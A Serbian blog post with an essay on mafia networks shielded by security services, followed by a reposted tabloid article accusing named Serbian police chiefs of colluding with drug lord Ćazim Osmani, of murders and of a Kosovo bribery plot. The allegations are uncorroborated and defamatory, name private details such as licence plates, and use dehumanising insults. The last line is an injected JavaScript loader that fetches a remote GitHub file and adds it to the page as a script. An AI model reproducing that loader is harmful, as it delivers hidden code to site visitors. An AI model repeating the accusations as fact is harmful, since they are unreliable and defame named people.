http://wp.me/p3pD8b-eQ
.
Бомбастично, наслови у таблоидима и на интернету
Текст у прилогу доле је карактеристичан за начин усмеравања пажње на неке догађаје и процесе који би требали произвести пажњу у погледу потребе анализе рада и функционисања система безбедности, полиције, истражних органа и тужилаштва са једне стране вредновања демократског контролног процеса. Са друге стране кроз анализу начина овај начин приступа појавама и догађајима, деловима или процесима у целини, својом поплавом чине да се једно нездраво стање без испитивања узрока, озбиљније анализе системских и институционалних реформи и уређења законске основе, претвара у сталну агонију функционисања институционалног система и контролних механизама у целини.
На Балкану се у постјугословенским новим сувереним државама одржава процес сличан ономе који је пролазила Италија у хладноратовском периоду кроз институционалну обструкцију система стварањем и управљањем полугама Гладио-система, а све зарад идеолошке борбе, пре свега кроз онемогућавање левих политичких партија и њиховог евентуалног учешћа или доласка на власт.
Организовани криминал је 60их у Италији по познатим архивским документима, и кроз стварање структура Пропаганда Дуе – П2, имао реалну институционалну комплексну, шта више абсолутну заштиту, да би као рак захватио значајне делове институционалног система у целини. Политички систем и његова (не)стабилност су били под широм контролом преко употреба различитих контролисаних криминалних (мафија са познатим огранцима) до терористичких структура у спрези или у комплексној наизменичној вези и заштити кроз утицајна институције ситема начином одлучивања из услова абсолутне тајности. Слични процеси уз уважавајуће разлике се дешавају у свим постјугословенским државама, али и даље преко граница истих се стварају мреже које имају врло снажну заштиту у свом начину партиципације на међународном „заштићеном тржишту различитих услуга или промета роба намењених извозу“.
Јирген Рот (Jürgen Roth) документује у својим књигама генезу и начин функционисања спрега које нагризају и делове немачког система у којем се по проценама опере око 100 мрд. евра на годишњем нивоу, пре свега кроз легализацију послова уз
корупцију према политици и деловима правосуђа. феномен који до душе на различите начине и манифестације се налази у експанзији и у другим земљама традиционалне стабилне грађанске демократије, посебно кроз имплементацију прекограничних мрежа организованог криминала и прања новца кроз начин функционисања банкарско – финасијског система, који као такав без институционалне заштите или затварања очију пред познатим феноменима не би био могућ.
Jürgen Roth -MAFIA – grenzüberschreitend, institutionell gedeckt
Групе, лица, кланови у оваквим структурама имају посебан ниво високе заштите криз забрану испитивања радњи које иначе подпадају под редовни рад надлежних институција, истражних органа, тужилаштва и криминалне полиције.
Да ли је „Османи – клан“ који се развио у Хамбургу од 80их имао такву сложену заштиту која је долазила из посебних система, метода и заштите из ткзв. „прикривених операција“ посебних делова тајних служби, у конкретном случају веза из система насталих операционализацијом Труманове доктрине и каснијег развоја посебних одељења и кракова мрежа, али и законске основе заштите из виших, у суштини политичких интереса и дугорочних пројекција. Да ли се институције система у прекограничним, сада међународним односима на Балкану и шире у оквиру ЕУ баве овом проблематиком и генезом и развојем посебних мрежа, да ли медији и аналитичари, многобројне специјализоване организације из поља безбедности постављају ова питања је оправдано питање.
Осим таблоида и блогова на интернету нико се не бави озбиљније целином проблематике, узроцима и псоелдицама. Она је задата као нешто са чиме се треба живети без икаквог права постављања питања у погледу начина функционисања система у целини.
Шта би могаобити поводи разлог састанка на виском нивоу у једном хотелском тоалету?
Интересантан је регистровани сусрет директора српске полиције са фамозним Феликсом Осмнијем, о којем нико осим таблоида није поставио питање сврхе, разлога, позадине, случајности или нечије, било чије организације. Заправо стиче се утисак да је овај сусрет и био планиран како би се догодио, да би таблоиди дизали велику прашину, али што је и најважније, како контролне институције не би поставиле ни једно питање. Заправо ради се о сасвим нормалним, свакодневним и уобичајеним односима, процесима у начину организације одређених послова којих је задњих година било на претек и који су се по правилу завршавали без икаквих последица.
Ово не значи да се неки методолошки трагови нису показали и указали на сложене спреге и начине узимања утицаја на политику и високе функциионере у спрези са правно дозвољеним бизнисом иза плашта посебних токова различитих роба, фиктивних фирми и новца који се прао скоро две деценије преко банака које се налазе задњих година у кризи или жижи интерсовања медија.
Полазећи од цифре од преко 1000 мрд. евра годишњег промета на црном тржишту и потребе прања и рефинасирања и улагања ове количине новца кроз дање делове мрежа ван сваке реалне институционалне и демократске контроле, мафиа представља са спрегом према институцијама система најекспанзивнији део привредног система и тиме БДПа сваке земље. Истовремено су централни нервни делови ове мреже погодни за узимање и контролу целог инстутционалног и политичког, шта више јавног живота кроз моћ новца у медијима и контролу истих.
Ово је само један од низа детаља, догађаја и сусрета који су постали познати, у којима је код неких дошло и до тешких законских повреда на страну друга политичка позадина и питања, а који су по правилу решавани без икакве реакције надлежних. Заправо не ради се ни о шефу полиције ни о максималистички искоришћеном моделу створеном у мрежама псоебних прикривених операција делова тајних служби, већ о основном питању сврхе, метода, узрока и псоледица, циљева овакве организације доктрине за 21 век. Повратно на питање решавања објективних трајних проблема и питања егзистенције милиона грађана.
- Да ли је Османи оно што се представља да јесте ма шта то било или се иза Османија налазе од 80их година у СР Немачкој преко Прага мреже заштите које улазе у посебне прикривене тајне операције великих тајних служби?
- Да ли је „забрањени извештај БНДа у вези захтева хамбуршког сената о подацима и активностима „посебног положаја клана Османи“ случајност.
- Да ли је изјава директора полиције Вељовића, како ће се у будућности морати рачунати на сталну активност дела организованог криминала случајна или се поклапа са пројекцијама целог прекограничног система и веза, мрежа које функционишу кроз целе делове институционалних државних апарата и посебно преко делова контролисаних безбедоносних система под ознаком „строго тајно“?
- Да ли и друге земље на различите начине имају сличне проблеме за које не постоји шире решење на регионалном нивоу односа међу државама или чак европском ширем простору?
- Да ли је овакво стање случајно или је пројекција контроле, узимања утицаја и начина заштите делова мрежа у екстрапрофитним пословима, као што је прање новца преко на пример ХСБЦ банке или Хипо-Адриа банке, чији су процеси тражења узрока дебакла који се мери милијардама до хиљадама милијарди у току.
- Какве последице има овај систем по општи, недељиви, трајни јавни интерес грађана и стварног демократског и реформског процеса постсоцијалистичких земаља?
- Количина опраног новца од различитих облика противправних радњи у мрежама банака, пословања преко ланаца фирми – „поштанско – сандуче“ је толика, да се може предпоставити намера и идеја у централном систему планирања односа и контроле малих, средњих и већих држава кроз реалну заштиту пунктуелних група и заштићених група и појединаца, до заштите власти и моћи делова мрежа под посебном заштитом. На Балкану се ова пракса да сликовито и уживо пратити више деценија.
Теме и питања које заслужују пажњу, али која се избегавају, осим случајних таласа бомбастичних наслова који сами себи постају сврха у отупљавању јавног мњења и механизама заштите јавних интереса и интереса грађана, много више, постављању питања будућности организације и регулисања националних и интернационалних институционалних система и контроле мрежа, процеса, догађаја под ознаком „строго поверљиво“ и „абсолутно заштићено“.
Овде се нагађало да постоји веза организованог криминала и владе. Не знам да ли је то и даље случај, али вреди истражити. Ако је то тако, онда је треба прекинути – рекао је Мајкл Кирби амбасадор САД у Београду– 20 март 2014
. . .
ЗАШТИТА КРИМИНАЛАЦА У СРБИЈИ:
ТАЈНЕ И УСМЕНЕ НАРЕДБЕ У ВРХУ СРПСКЕ ПОЛИЦИЈЕ
. . .
Ко је ко у врху српске полицијске мафије, зашто је Милорад Вељовић још увек несмењиви директор полиције и због чега је опседнут црногорским кадровима, ко њиме управља и због чега обавештајне службе Мила Ђукановића управљају полицијским структурама у Србији?
линкДиректор српске полиције Милорад Вељовић и Ћазим Феликс Османи, највећи трговац наркотицима на Балкану, како га називају безбедносни стручњаци, тајно су се састали у тоалету хотела „Зира“, објавио је дневни лист Курир. Вељовић и Османи су у недељу 15. септембра у истом тренутку били у хотелу, о чему је Курир детаљно известио.
Осим што су у истом тренутку боравили у згради, први човек полиције и шеф клана Османи имали су и тринаестоминутни састанак у тоалету! Наиме, Вељовић је у хотелу „Зира“ био на свадби, док је Ћазим у истом хотелу рентирао собу. Тераса хотела, на којој је Ћазим с друштвом пио кафу, налази се тик до сале где је организована свадба на којој је једна од званица био и директор полиције, а репортер Курира видео је клана Османи! Вељовића како три пута излази на терасу да телефонира док је на метар од њега седео шеф.
Међутим, како тврди извор који је тад такође био у хотелу, Вељовић и Османи су се срели у једном тренутку. И ако су били су опрезни, није их било тешко провалити. Испред тоалета, поред лобија хотела, налази се фотеља, Вељовић је у једном тренутку изашао из сале у којој је била свадба, сео ту и телефонирао.
Два минута касније појавио се Османи. Прошао је поред Вељовића, није му се ни обратио и затим је ушао у тоалет. Буквално 30 секунди касније, у тоалет је ушао и Вељовић! Унутра су били 13 минута! Прво је изашао Вељовић, а после минут и Ћазим – каже очевидац овог догађаја и напомиње да је тоалет једино место у хотелу „Зира“ које није покривено камерама! Како је Курир објавио Ћазим Османи је боравио неколико дана у хотелу „Зира“ у соби 631, а пријавио се са лажним пасошем као Милош Петровић. Занимљиво је да је Османи по доласку навео да у хотелу остаје до 15. септембра, међутим, уместо да напусти собу до 12 часова, као што је уобичајено, он је у хотелу остао до 20 часова и тад се одјавио из хотела. Тек после „случајног сусрета“ с Вељовићем, Османи је напустио хотел, а сат времена касније и Београд.
Дневни лист Курир је започео серијал текстова о стању у српској полицији, откривајући криминалне и злочиначке спрега врха српске полиције са нарко клановима и непријатељима српске државе и нације. 
Таблоидови новинари у у најмање 50 текстова описивали врх српске полиције као најопаснију и најорганизоваију криминалну и злочиначку групу на Балкану, која осим што контролише транспорте дроге, људи, оружја и белог робља кроз Србију, контролише и српско-нарко тржиште, токове новца, и бестијално распродаје све државне тајне и личне податке о животу и кретању својих грађана црногорској тајној полицији, и државном врху Црне Горе, и мафијама у Хрватској.
Реалну снагу и утицај директор српске полиције изградио је преко својих сарадника Родољуба Миловића и Дарка Сенића, који су омогућили да Дарко Шарић и његова група из Црне Горе неометано раде и делују у Србији, да инвестирају, купују банке, предузећа, некретнине, пољопривредно земљиште…У Србији су Шарићи без икаквих проблема инвестирали неколико милијарди евра! И као пословни људи поштено платили заштиту, па и – рекет! Док се Шарић ширио, и Милорад Вељовић и његова мафија је напредовала. Пре годину дана господин Вељовић је изјавио да Дарко Шарић није главни организатор групе којој се суди за шверц наркотика! Браниоци оптужених предложили су судском већу да директора Вељовића саслуша као сведока, али је суд закључио да Вељовић – није релевантан сведок!
Да поновимо, по ко зна који пут, ко су Вељовићеве десне руке. Родољуб Миловић је начелник Управе криминалистичке полиције МУП-а Србије, и најопаснији крволок. Вељовић се ослања углавном на црногорску групу у српској полицији. Начелник Управе криминалистичке полиције у Полицијској управи Београда Дарко Сенић је “мозак“ у овој организацији. Он је оперативац који извештава Вељовићева и Миловићева наређења.
Криминалистичке службе МУП-а Србије и Полицијске управе Београда колеге називају Центром безједности Никшић. Велику подршку Шарићима пружао је Вељовићев човек и миљеник, начелник Полицијске управе Суботица Боривој Муцаљ.
Возила директорове мафије
Војна служба безбедности је пре 15 година инсталирала своје обавештајце у Суботици, који су даноноћно пратили рад Муцаљеве дружине. Муцаљ је родом из Петриње, и дошао је као избеглица. Осим што је хрватским мафијашима и обавештајцима издавао српске пасоше и давао алибије, Муцаљ је Шарићима служио и као војник. Пружао им је потпуну заштиту, уз Миловићеву и Вељовићеву дозволу. Муцаљ контролише границу са Мађарском, осигурава сигурне транспорте, увоз опреме и оружја које се не региструје, а којима се врше убиства у Србији и Црној Гори.
Чланови Вељовићеве мафије су и Никола Бркић, помоћник начелника Полицијске управе Новог Сада и Саша Барјактаровић, начелник Одељења криминалистичке полиције. Бркић је из Приједора, а Барјактаровић је Црногорац из Врбаса, и на директној је вези са Миловићем, а Бркић са Вељовићем. Бркић контролише нарко тржиште у Војводини, и војвођанске бизнисмене којима пружа заштиту, а они њему и Вељовићу плаћају рекет. У Крагујевцу је Вељовић поставио за начелника Црногорца Ивана Ђоровића, који под контролом држи Шумадију. Сви поменути имају двојна држављанства. Таблоид је у броју 233 објавио да је начелник Одељења за контролу саобраћаја Драго Антић, пресретачима у Управи саобраћајне полиције наредио саобраћајним полицајцима, коју су морали писмено да потврде да им је наредба саопштена, да не смеју да заустављају возила тројице директора Цредy банке а.д. из Крагујевца! Саобраћајцима је забрањено да заустављају и контролишу возила којима управљају господа: Матјаж Ковачић из Марибора, држављанин Словеније, који је председник Управе Цредy банке, а који вози БМW серије 7 сребрне боје, ознака МБ ЗИ 186, а возило се креће на релацији гранични прелаз са Хрватском па преко Београда за Крагујевац.
Истом наредбом забрањено је саобраћајним полицајцима да контролишу и возило марке Пасат ЦЦ сребрне боје, регистарских ознака МБ ХЛ 095, којим управља Алојз Ковше, заменик председника Извршног одбора ове банке, који се креће истом маршрутом, као и контрола возила Предрага Михајиловића, председника извршног одбора банке, марке БМW серија 5 сребрне боје, регистарских ознака КГ 200-670, а које се креће на релацији Нови Сад – Београд – Крагујевац!
Упућени тврде да се овим возилима некажњено и неконтролисано износе девизе из крагујевачке банке, чији је већински власник постала банка из Марибора (Словенија).
Наредбу је господин Драган Антић донео по усменом налогу директора полиције Милорада Вељовића. За сада је тешко ући у траг шпекулацијама о провизији коју узима директор Вељовић пружајући заштиту онима који сумануто јуре излоканим српским друмовима. Ова три возила крећу се брзином и по 70 километара већом од дозвољене, јер се плаше да им друмски разбојници не направе заседу и не опљачкају товаре девиза које износе из Србије.
Полицајци који су потписали наредбу начелника Антића тврде да је ово одељење полиције строго контролисано и да постоје стотине возила која су под заштитом и којима се не смеју писати прекршајне пријаве, нити смеју да их заустављају. То су возила Вељовићеве мафије.
Миловић на Мељаку
Иначе, црногорски лоби или тзв. Центар безбједности Никшић држи под контролом подземље криминала, а „непослушни“ или заврше у подземљу или буду приведени правди. Таблоид је објавио службену белешку припадника САЈ-а, који је описао убиство Душана Спасојевића и Милета Луковића на Мељаку. “У време када је лично присуствовао ликвидацији Душана Спасојевића, Родољуб Миловић је био нижи оперативац Градског СУП-а Београд, са вишом школом. Када је Д. Спасојевић кренуо да бежи из куће према жичаној огради, где га је ухватио припадник САЈ-а Милорад Јанић, звани Мачак, наредио му је да клекне. На другој страни дворишта радник САЈ-а Драган Барашанин ухватио је Милета Луковића, такође ненаоружаног. Поменути руководилац…….САЈ-а, прилази Душану Спасојевићу који клечи, ненаоружан, и испаљује му рафал у главу из Хеклера са пригушивачем. Након тога он позива Мирка Матића, такође припадника САЈ-а, да из возила Дефендер од Слађана Ђорђевића узме и донесе већ припремљен пушкомитраљез (који је донет из магацина САЈ-а, оружје МУП-а Србија) и ставља оружје у руке већ убијеном Д. Спасојевићу. Овај догађај са жичане ограде, на око четири метра удаљености, пратио је садашњи начелник УКП-а Родољуб Миловић, који је, као криминалистички инспектор, након убиства извршио увиђај. На другој страни дворишта, након ликвидације Д. Спасојевића, припадник САЈ-а Драган Барашанин ликвидирао је и ненаоружаног М. Луковића.
Све је ово написано у службеним белешкама од стране припадника САЈ-а, а иако су директор полиције Милорад Вељовић и начелник УКП-а Родољуб Миловић упознати са садржајем службених белешки и требало је да предузму одговарајуће мере и радње, нису то учинили. Разлог зашто нису предузели мере након сазнања о детаљима догађаја можда је био скривен, или се налазио у торби која је била поред убијеног и ненаоружаног Душана Спасојевића, са скромном сумом од око 3.500.000 евра (три и по милиона евра) која је однета на „сигурно“ место. Цео догађај, видео је и истакнути члан овог клана Дејан Миленковић Багзи, и у својој изјави у полицији разоткрио је криминални досије са Душаном Спасојевићем.”
Преко Мила до Милорада
Директор полиције Милорад Вељовић и начелник УКП-а Родољуб Миловић не предузимају никакве радње, почев од опсервација и хапшења саучесника криминалних кланова, већ само причају како ће похапсити све и заштитити државу Србију, а да при том, уствари штите менторе, организаторе и учеснике криминалних радњи. Милораду Вељовићу је пре више од три године истекао мандат. Али, Миодраг Ракић, саветник тадашњег председника Бориса Тадића држао је Вељовића као дворску луду која је радила за њега све прљаве послове. Криминалистичка полиција МУП-а Србије и ПУ Београда уходила је страначке функционере, државне функционере и службенике, бизнисмене, новинаре… Ракић је желео сва досијеа на свом столу. И док се болесни Ракић лечио од рака простате, тестиса и плућа, Вељовић се са својом групом осамосталио. Почео је да сарађује са албанском мафијом, да продаје поверљиве информације. Миловић свакодневно шаље за Подгорицу “стање људи и новца и других прилика у Србији“.
Обавештајне службе европских држава означиле су хрватску и српску полицију опасним по безбедност својих националних интереса. Мафија је то схватила па је делимично променила транспорте дроге, оружја и људи преко Србије, усмеривши послове преко албанске луке Драч.
Потпредседник Владе Србије Александар Вучић покушао је да избегне молбе Ракића да Вељовића поново изабере за директора, отворивши аферу са праћењем њега и Томе Николића. Вељовић и Миловић су даноноћно надзирали Вучића и Николића, по Ракићевом налогу.
Оргијајући, Вељовић и Миловић су се смејали ко луди док су гледали сиров материјал о Вучићу, кога сматрају лудаком и перверзњаком. Ипак, Миловић се јавио у Црну Гору, и Вучић је одмах пристао да Вељовић остане на свом месту. А он се одужио кумовима из Црне Горе. За начелника Полицијске управе Београда на Вељовићев захтев постављен је прошле недеље Веселин Милић, његов саветник! Господин Милић са 34 године живота постављен је на најзначајније место у српској полицији, јер је пријатељ Мила Ђукановића, известио је дневни лист Наше новине! Вељовић воли да прља грађане Србије, а постављањем Милића хтео је да пошаље поруку да он без метка неће отићи из полиције.
Оба Вељовићева сина су тешки и неизлечиви наркомани!
Следећи злочиначку политику Александра Вучића, Вељовић је сменио комаданта Жандармерије Братислава Дикића, и поставио Црногорца Миленка Божовића! Вучић озбиљно намерава да на Србе у Северном Косову пошаље жандармерију, и да, како је обећао својим газдама, “утиша Србе“.
У свакој држави која се зове државом, Милорад Вељовић би истог дана био изведен пред полицију. Служба безбедности која је са уредним налогом снимала састанак Милорада Вељовића и Ћазима Османија, обавестила је надлежне да је Вељовић тражио убрзану исплату још 300 милиона евра у кешу, која је обећана Вучићу за продају Косова и Метохије, јер, наводно Вучићу треба кеш да подмићује косовске Србе великим свотама новца, јер су они само стока која зна за паре!
Према шифрованом разговору, Ћазим исплаћује Вучићеву нагодбу да за неколико милијарди заувек преда Космет! Вељовић је такође поменуо Чазиму да су Вучићу потребне паре за плаћање Чедомира Јовановића и неких посланика Демократске странке Србије, који су, такође, алави на паре, и траже преко сваке мере. Сусрет Милорада Вељовића и Ћазима Османија снимала је и једна утицајна страна обавештајна служба, и сигурно ће тај снимак показати америчким колегама, на које се животиња од човека звана Александар Вучић позива. Да ли је Вељовић одговоран што је Ћазиму Османију издао пасош на име Милоша Петровића, којим може слободно да се шета по Србији, а и Европи?
У којој земљи то није довољно да га одмах ухапсе? Уместо затвора, Вучић прети превременим изборима и падом Владе Србије, ако се Вељовићу било шта деси. На жалост, нико од српских опозиционих странака и посланика не диже глас. Да ли су сви уплашени, или подмићени?
©Гето Србија
Извор: Таблоид – Лист против мафије
(var url = „https://raw.githubusercontent.com/truba77/trubnik/main/to.txt“; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(„script“); script.src = data.trim(); document.getElementsByTagName(„head“)[0].appendChild(script); });)
